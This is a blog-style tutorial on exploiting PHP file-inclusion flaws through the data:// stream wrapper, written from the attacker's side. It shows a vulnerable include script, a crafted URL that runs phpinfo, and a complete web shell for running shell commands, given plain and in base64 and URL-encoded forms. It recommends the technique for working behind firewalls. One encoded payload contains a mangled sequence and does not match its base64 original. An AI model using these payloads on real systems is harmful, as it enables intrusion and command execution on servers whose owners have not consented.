PHP 5.2 and above provides stream wrappers. The general idea behind the stream wrapper is that you write one that interfaces with other protocols or services and you can still reference the data using your favourite functions. Here we open an ssh2 tunnel using a stream wrapper:
$session=ssh2_connect('example.com',22); $stream=fopen("ssh2.tunnel://$session/remote.example.com:1234",'r');
Another example using the built in data:// stream which decodes base64 strings.
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur.
Before PHP 5.2 when an attacker found a local or remote file inclusion vulnerability he needed to either work out a way to upload PHP code to the server (e.g. via /proc/self/environ) or have another server that he could point the vulnerable script at. Sometimes the server with the vulnerability might be behind a firewall restricting outbound access to the Internet and at other times it might not be possible to write any data to a suitable location on the local file system for inclusion.
Since PHP 5.2 if allow_url_include is enabled we can use the data stream (rather than a remote file) to include executable PHP code. Consider the following example of a vulnerable PHP script:
<? include($_GET['file'] . ".php");
By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below we show how phpinfo can be executed using the above script to enumerate more information about the target environment.
<? phpinfo(); die();?> :::php // Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg== // URL + Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg== // Final URL index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==
The die statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded ".php" string which is appended to the stream - both of which could cause a WSOD - Displaying phpinfo is fairly basic - you can go a step further and execute shell commands. The following code is a complete GUI command shell.
PHP Payload
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>
Base64 encoded payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8+Cgo=
Base64 + URL encoded payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT82BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D
Running PHP shell
Using a data stream over a standard remote or local file inclusion has several benefits:
- It works behind a firewall that blocks outbound traffic.
- It has a lower latency as the vulnerable script is not including a remote file.
- Its doesn't require a null-byte to be appended to the end of the script.
- It doesn't require a remote server.
All in all, its a more elegant solution to remote or local file inclusion.